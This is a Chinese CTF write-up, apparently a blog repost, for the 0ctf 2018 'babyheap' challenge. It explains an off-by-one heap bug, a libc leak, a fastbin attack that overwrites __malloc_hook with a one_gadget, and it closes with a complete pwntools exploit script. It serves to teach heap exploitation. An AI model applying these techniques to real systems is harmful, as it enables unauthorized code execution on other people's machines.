0ctf2018-babyheap调试记录fastbin-attack,off-by-one

查看文件格式以及保护开启情况。发现为64位程序,符号被剥离,动态链接程序且题目提供给了libc。保护全开,猜想可能是fast attack加上malloc_hook利用(毕竟去年这题是这个利用,肯定先往这边想)

 

简单的运行程序,发现是常规的菜单类题目,功能有申请内存(alloc)、更新(update)、删除(delete)、查看(view)、退出。我们每个功能走进去实现一遍看看。

 

申请内存,输入内存大小即可

 

更新内存块,选择内存块号(在alloc中确定),重新输入大小以及内容。但是这里有个奇怪的地方,你必须要输入确定大小少3个字符数才退出输入。

 

删除操作,输入需要删除的块号即可

 

查看操作,输入下标即可查看相应内存内容

 

放入ida中跑一跑,首先观察malloc模块,可以看出来分配的字节限制在88字节以内,也就限制为fastbin了,其次使用calloc分配,特点除了每次分配将内存清空外其他都一样。用一个数据结构保存分配大小、是否使用和分配地址。

 

Update模块,会判断当前编辑的内存块是否处于使用状态。重点!发现取出申请长度的时候在最后加了一个字节,且判断输入的v4和原长度v1(此时已经多加了一个字节)存在相等的可能,即可以溢出一个字节,也就是所说的off-by-one。我们可以利用此漏洞修改相邻chunk的size字段。

 

删除模块,首先检查块是否已经被释放,其次将长度和使用情况置0,释放后将指针置NULL,不存在漏洞利用(应该没有吧)

 

漏洞利用总体思路:首先由于全保护开启,不存在修改got表或者plt表的可能性。因此我们需要泄漏出libc的基地址(通过只有一个small chunk或者large chunk被释放时,其fd和bk指针会指向libc上的某个地址来实现),然后基本思路通过修改malloc_hook达成get shell的目的。

利用过程:

首先,由于calloc过程中限制了申请大小不会超过88字节,因此我们需要先申请几块fast bin然后修改第一块的内容从而使得溢出到第二块的size字段将其改变并释放。这里我们需要注意的是申请的大小必须为0xx8,即必须8结尾,因为如果你申请大小为0x10字节对齐的话,覆盖只能覆盖到下一个块的pre_size,这也是一个注意点。

首先连续申请几个大小为fast chunk的堆块,注意到chunk的大小要限制到0xx8,即以8结尾,这样下一个字节溢出将会溢出到chunk size字段,若以0x0结尾,溢出一个字节只能溢出到下一个chunk的pre_size字段,因为pre_size字段存在公用。

 

修改完后将chunk1释放(此时chunk1大小为0xa1,属于small chunk),此时在chunk1的内存空间里fd和bk指向libc的某个地址,但是此时无法view(1),因为chunk1已经被释放。我们可以在申请一个fast chunk块,这时chunk2部分的fd和bk块也指向了libc上的某处(即是chunk2并没有被释放也并不属于small chunk),此时就可以view(2)来读出chunk2的fd值,后面用来计算libc_base。

这里要提一下泄漏出来的地址实际上是main_arena后的一个地址,该地址为top chunk地址,我么通过给出的libc可以找到main_arena地址,然后就找到了top chunk地址。

 

首先ida加载libc,进入Exports表,搜索函数malloc_trim,进入该函数实现,然后f5看如下图v22的值就是main_arena地址,具体原因可以看glibc源码。

 

我们双击v22=&dword_399B00这个值跟踪过去,可以看到的确是malloc_hook+0x10位置,的确是main_arena地址。拿到这个地址后,由于我们泄漏的是top chunk的地址,因此我们需要找到top chunk在libc内的偏移,这个位置我做了几次都很固定,就是在main_arena地址+0x58处。到此,可以计算出libc_base。

 

 

接着再申请一个fast chunk,这个chunk拿到的地址实际为chunk2的地址,释放1和2可以拿到堆地址。

 

我们泄漏出libc基地址后就要想办法执行system函数了,但是由于保护全部开始,那么思路主要集中在修改malloc_hook函数上。注意到释放的chunk2其实际地址仍然可控,我们通过写chunk4块来修改chunk2块的fd指针,使得连续两次申请后,第二次申请出来我们修改的地址。但是要注意一点,从fast bin中申请出chunk需要检查malloc的地址是否属于该bin,因此我们需要修改前先申请一个fast chunk再释放掉来占位,从而绕过检查。

 

我们通过调试可以看到我们申请后释放的malloc(0x58)的fast bin地址为0x7426a16c7b400,即main_arena+32地址处,我们需要一个chunk size字段,因此main_arena+32+5处的值0x55刚好可以给我们绕过检查。我们只需要通过chunk4修改chunk2的fd值就可以连续申请出该块。

 

还有一点需要注意,我们现在的任务是要修改top chunk的地址,使得我们下次分配时从该地址开始分配。New_top值就是我们需要修改的值,通过调试可以发现,main_arena-0x3

3的值为0x60000000。可以作为新的top chunk。

 

我们此时连续申请两次chunk即可拿到main_arena+32+5的值,申请的两块分别为chunk1和chunk2,我们修改chunk2,计算好偏移修改top chunk的值(88-(37+1)-16+1=35)。将top chunk的值覆盖为main_arena-0x33的值。接着,我们在申请一个新的chunk,这时会从top chunk中取一块给它,计算到malloc_hook的距离:main_arena-0x33àmain_arena-0x10。此处我为了保险起见从memalign_hook后就开始覆盖,因此需要3+8=11个字符覆盖。然后再随便申请一块就可get shell了。

 

 

完整exp如下:

 1 #!/usr/bin/env python
 2 # coding=utf-8
 3 from pwn import *
 4 
 5 Local = 1
 6 
 7 if Local:
 8     p = process("./babyheap")
 9     libc_offset = 0x3c4b78
10     one_offset = 0x4526a
11     context.log_level = 'debug'
12 else:
13     p=remote('172.17.0.2',10001)
14     libc_offset = 0x68+0x399af0 #远程
15     one_offset = 0x3f35a
16 
17 def alloc(size):
18     p.recvuntil("Command: ")
19     p.sendline("1")
20     p.recvuntil("Size: ")
21     p.sendline(str(size))
22 
23 def update(index, size, content):
24     p.recvuntil("Command: ")
25     p.sendline("2")
26     p.recvuntil("Index: ")
27     p.sendline(str(index))
28     p.recvuntil("Size: ")
29     p.sendline(str(size))
30     p.recvuntil("Content: ")
31     p.sendline(content)
32 
33 def delete(index):
34     p.recvuntil("Command: ")
35     p.sendline("3")
36     p.recvuntil("Index: ")
37     p.sendline(str(index))
38 
39 def view(index):
40     p.recvuntil("Command: ")
41     p.sendline("4")
42     p.recvuntil("Index: ")
43     p.sendline(str(index))
44 
45 def leak():
46     alloc(0x48) #0
47     alloc(0x48) #1
48     alloc(0x48) #2
49     alloc(0x48) #3
50     
51     update(0, 0x49, "A"*0x48 + "\xa1")  #单字节溢出修改下一块的size字段,使得释放该字段时释放整个small chunk
52     delete(1)   #1
53     alloc(0x48) #1,此时第1块和第2块的fd部分都有libc上的地址,由于第一块已经释放,我们通过读第二块的内容将libc上的值打印出来
54     view(2)
55     p.recvuntil("Chunk[2]: ")
56     leak = u64(p.recv(8))
57     libc_base = leak - libc_offset
58     main_arena = leak - 0x58
59 
60     alloc(0x48) #4 = 2,即分配的是原第2块的地址
61     delete(1)   #连续释放两块,然后通过第4修改第2块的fd部分,使得连续申请两块内存后第二块为覆盖的地址
62     delete(2)
63     view(4)     #此处可泄漏出堆的地址
64     p.recvuntil("Chunk[4]: ")
65     heap = u64(p.recv(8)) - 0x50
66     log.info("heap: %s" % hex(heap))
67     return main_arena, libc_base    #返回main_arena libc_base方便exp使用
68 
69 def exp(main_arena, libc_base):
70     alloc(0x58) #1
71     delete(1)   #删除第1块,在fastbin中占位
72     #gdb.attach(p)
73     addr = main_arena + 32 + 5  #这个值就是占位的值
74     newtop = main_arena - 0x33  #这个值是0x60000000,用作修改新的top chunk
75     one = libc_base + one_offset#one_gadget值
76     update(4, 9, p64(addr))     #此时修改fastbin中第二个释放的fd指针(通过第4块修改)
77     alloc(0x48) #申请第一块
78     alloc(0x48) #申请第二块,此时申请到addr
79 
80     update(2, 0x2c, "\x00"*35 + p64(newtop))    #计算偏移,修改top chunk为malloc_hook之前的0x60000000部分
81     alloc(0x38) #5
82     update(5, 28, "w"*11 + p64(one)*2)
83     gdb.attach(p)
84     alloc(0x38) #执行malloc_hook指向的函数
85 
86 if __name__ == '__main__':
87     main_arena,libc_base = leak()
88     exp(main_arena,libc_base)
89     p.interactive()

猜你喜欢

转载自www.cnblogs.com/xingzherufeng/p/9901417.html